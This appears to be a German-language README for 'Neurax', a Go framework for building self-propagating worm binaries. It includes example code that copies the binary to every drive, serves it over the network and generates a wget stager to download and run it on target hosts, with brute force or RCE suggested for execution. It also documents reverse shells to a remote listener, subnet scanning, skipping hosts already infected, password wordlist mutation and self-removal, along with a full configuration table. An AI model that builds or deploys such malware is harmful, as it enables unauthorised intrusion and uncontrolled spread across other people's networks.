
Ein Framework zur Erstellung selbstverbreitender Binärdateien
Ein Framework, das die Erstellung von selbstverbreitender Software unterstützt
Mit Hilfe von Neurax können Golang-Binärdateien ohne externe Server im LAN/WAN verbreitet werden.
Verschiedene Konfigurationsoptionen und Command Stager ermöglichen eine schnelle Ausbreitung in unterschiedlichen drahtlosen Umgebungen.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Port und Stager für die Bereitstellung festlegen
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Einen Server starten, der die aktuelle Binärdatei im Hintergrund bereitstellt
go NeuraxServer()
//Aktuelle Binärdatei auf alle logischen Laufwerke kopieren
NeuraxDisks()
//Einen Command Stager erstellen, der auf dem Zielcomputer ausgeführt werden soll
//Er lädt die Binärdatei herunter, dekodiert und führt sie aus
cmd_stager := NeuraxStager()
/* Jetzt muss der oben erzeugte Befehl auf irgendeine Weise ausgeführt werden.
Dazu kann SSH-Bruteforce, eine bestimmte RCE oder was auch immer verwendet werden ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck zum Deaktivieren der Überprüfung, ob der Host bereits infiziert ist.NeuraxServer().httrack-Stager für LinuxN.StagerRemovalDelay).FastScan-Option, die aktive Scans etwas schneller machtNeuraxScan() akzeptiert eine Callback-Funktion anstelle eines Kanals als Argument.NeuraxScan() scannt in einer Endlosschleife mit der Möglichkeit, ein Intervall zwischen jedem Scan des gesamten Subnetzes/Pools von Zielen festzulegenNeuraxConfig. wurde zu N. (weil es kürzer zu tippen ist)wget + curl).WordlistExpand)Die Funktion NeuraxScan(func(string)) ermöglicht die Erkennung aktiver Hosts im lokalen Netzwerk.
Das einzige Argument ist eine Callback-Funktion, die im Hintergrund für jeden aktiven Host aufgerufen wird.
Ein Host gilt als aktiv, wenn er mindestens einen offenen Port hat, nicht bereits infiziert ist und die in N. festgelegten Bedingungen erfüllt.
NeuraxScan() läuft als Endlosschleife – es scannt das gesamte Subnetz, das durch den Konfigurationseintrag .Cidr festgelegt wird. Sobald alle Hosts gescannt sind, schläft die Funktion für das in .ScanInterval angegebene Intervall.
Die Neurax-Binärdatei muss sich nicht zwangsläufig über drahtlose Mittel kopieren.
Die Funktion NeuraxDisks() kopiert die aktuelle Binärdatei (unter einem nicht verdächtigen Namen) auf alle gefundenen logischen Laufwerke.
Die kopierte Binärdatei wird nicht ausgeführt, sondern verbleibt lediglich am Zielort und wartet darauf, ausgeführt zu werden.
NeuraxDisks() gibt einen error zurück, wenn die Liste der Laufwerke nicht abgerufen werden kann oder das Kopieren an ein beliebiges Ziel unmöglich war.
Eine weitere Funktion, NeuraxZIP(num_files int) err, ermöglicht die Erstellung eines zufällig benannten .zip-Archivs, das die aktuelle Binärdatei enthält.
Es wird im aktuellen Verzeichnis gespeichert und enthält bis zu num_files zufällige Dateien.
NeuraxZIPSelf() erstellt einfach ein ZIP-Archiv der aktuellen Binärdatei mit demselben Namen.
Mit NeuraxReverse() kann eine interaktive Reverse-Shell eingerichtet werden.
Diese empfängt Befehle vom in .ReverseListener angegebenen Hostnamen in der Form "<host>:<port>".
Das verwendete Protokoll wird unter .ReverseProto festgelegt.
Wenn NeuraxOpenComm() vor dem Aufruf dieser Funktion gestartet wurde, verhält sich jeder Befehl wie im obigen Abschnitt beschrieben.
Andernfalls werden die Befehle lokal ausgeführt.
Hinweis: Diese Funktion sollte ebenfalls als Goroutine ausgeführt werden, um Blockaden durch die unendliche Empfangsschleife zu vermeiden.
Wenn ein Knoten den Befehl "purge" empfängt, sendet er diesen Befehl an alle anderen Knoten weiter, entfernt sich selbst vom Host und beendet sich.
Dieses Verhalten kann auch durch einen Aufruf von NeuraxPurge() an einer beliebigen Stelle im Quellcode ausgelöst werden.
Basiert der gewählte Ausbreitungsvektor auf einer Art von Brute-Force, ist es sinnvoll, eine geeignete Wortliste vorbereitet zu haben.
Das Speichern von Wörtern in einer Textdatei auf dem Client ist nicht wirklich effektiv, daher kann mit NeuraxWordlist(...words) []string eine grundlegende Wortliste mutiert werden.
Zur Permutation einer Gruppe von Wörtern verwenden Sie NeuraxWordlistPermute(..words) []string.
Wenn die Binärdatei sich nach einer bestimmten Zeit selbst entfernen soll, verwenden Sie NeuraxSetTTL() am Anfang Ihres Codes.
Diese Funktion sollte als Goroutine gestartet werden.
Zum Beispiel:
go NeuraxSetTTL("2m")
bewirkt, dass die Binärdatei nach 2 Minuten ab der ersten Ausführung NeuraxPurgeSelf() ausführt.
Wenn alle für die jeweilige Plattform verfügbaren Stager miteinander verketten möchten, setzen Sie .Stager auf "chain".
Wenn die Binärdatei nach der ersten Ausführung kopiert werden muss, verwenden Sie NeuraxMigrate(path string).
Sie kopiert die Binärdatei unter dem angegebenen path, entfernt die aktuelle Binärdatei und führt die neu migrierte aus.
Wenn Ihnen dieses Projekt gefällt und Sie sein Wachstum fördern möchten, ziehen Sie bitte eine kleine Spende in Betracht :>
Diese Software steht unter der MIT-Lizenz
| Name | Beschreibung | Standardwert |
|---|
| Nrx.Config.Stager | Name des zu verwendenden Command Stagers | random, platform-kompatibel |
| Nrx.Config.StagerSudo | Wenn wahr, werden Linux-Cmd-Stager mit erhöhten Rechten ausgeführt | false |
| Nrx.Config.StagerRetry | Anzahl der Wiederholungen des Command Stagers | 0 |
| Nrx.Config.StagerRemoveDelay | Sleep-Anweisung wird vor dem Entfernen der heruntergeladenen Binärdatei angewandt | true |
| Nrx.Config.Port | Port zum Bereitstellen | 6741 |
| Nrx.Config.Platform | Zielplattform | automatisch erkannt |
| Nrx.Config.Path | Pfad, unter dem die Binärdatei auf dem Host gespeichert wird | . |
| Nrx.Config.FileName | Name, unter dem die heruntergeladene Binärdatei bereitgestellt und dann gespeichert wird | zufällig |
| Nrx.Config.Base64 | Übertragene Binärdatei in base64 kodieren | false |
| Nrx.Config.CommPort | Port, den Binärdateien zur gegenseitigen Kommunikation verwenden | 7777 |
| Nrx.Config.CommProto | Protokoll für die Kommunikation zwischen Knoten | "udp" |
| Nrx.Config.ReverseListener | Enthält "<host>:<port>" des entfernten Reverse-Shell-Handlers | nicht angegeben |
| Nrx.Config.ReverseProto | Zu verwendendes Protokoll für die Reverse-Verbindung | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() behandelt einen Host nur dann als aktiv, wenn ein bestimmter Port geöffnet ist | keine |
| Nrx.Config.ScanPassive | NeuraxScan() erkennt Hosts mittels passivem ARP-Datenverkehrsmonitoring | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() überwacht die ARP-Ebene für diese Anzahl an Sekunden | 50 Sekunden |
| Nrx.Config.ScanPassiveIface | Bei passivem Scannen zu verwendende Schnittstelle | Standard |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() setzt diesen Wert als Timeout für den gescannten Port in jedem Thread | 2 Sekunden |
| Nrx.Config.ScanPassiveAll | NeuraxScan() erfasst Pakete auf allen gefundenen Geräten | false |
| Nrx.Config.ScanPassiveNoArp | Passiver Scan setzt keinen strengen ARP-Erfassungsfilter | false |
| Nrx.Config.ScanFirst | Ein Slice mit IP-Adressen, die zuerst gescannt werden sollen | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() scannt nur Hosts, die in .ScanFirst angegeben sind | false |
| Nrx.Config.ScanArpCache | NeuraxScan() scannt zuerst die im lokalen ARP-Cache gefundenen Hosts. Funktioniert nur mit aktivem Scan | false |
| Nrx.Config.ScanCidr | NeuraxScan() scannt dieses CIDR | lokale IP + "\24" |
| Nrx.Config.ScanActiveThreads | Anzahl der Threads für NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() scannt alle Ports des Zielhosts, um festzustellen, ob er aktiv ist | von 19 bis 300 |
| Nrx.Config.ScanInterval | Zeitintervall zum Warten vor dem erneuten Scannen des gesamten Subnetzes | "2m" |
| Nrx.Config.ScanHostInterval | Zeitintervall zum Warten vor dem Scannen des nächsten Hosts im aktiven Modus | "none" |
| Nrx.Config.ScanGatewayFirst | Gateway ist der erste Host, der beim aktiven Scan gescannt wird | false |
| Nrx.Config.Verbose | Wenn wahr, werden alle Fehlermeldungen auf STDOUT ausgegeben | false |
| Nrx.Config.Remove | Bei Fehlern entfernt sich die Binärdatei selbst vom Host | false |
| Nrx.Config.PreventReexec | Wenn wahr, wird bei Übereinstimmung mit bereits zuvor empfangenen Befehlen der Befehl nicht ausgeführt | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() führt nicht standardmäßige Transformationen an Eingabewörtern durch | false |
| Nrx.Config.WordlistCommon | 20 häufigste Passwörter der Wortliste voranstellen | false |
| Nrx.Config.WordlistCommonNum | Anzahl der zu verwendenden häufigen Passwörter | alle |
| Nrx.Config.WordlistCommonCountries | Eine map[string]int mit Ländercodes und Anzahl der zu verwendenden Passwörter | map[string]int |
| Nrx.Config.WordlistMutators | Zu verwendende Mutatoren, wenn .WordlistExpand angegeben ist | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | Maximale Länge der von NeuraxWordlistPermute() erzeugten Permutation | 2 |
| Nrx.Config.WordlistPermuteSeparator | Trennzeichen für Permutationen | "-" |
| Nrx.Config.WordlistShuffle | Erzeugte Wortliste vor der Rückgabe mischen | false |
| Nrx.Config.AllocNum | Dieser Eintrag legt fest, wie oft NeuraxAlloc() zufälligen Speicher zuweist | 5 |
| Nrx.Config.Blacklist | Slice mit IP-Adressen, die von jeglichem Scannen ausgeschlossen werden | []string{} |
| Nrx.Config.FastHTTP | HTTP-Anfrage in IsHostInfected() wird mit der fasthttp-Bibliothek durchgeführt | false |
| Nrx.Config.Debug | Debug-Meldungen aktivieren | false |
| Nrx.Config.NoInfectCheck | Überprüfung, ob der Host bereits infiziert ist, deaktivieren | true |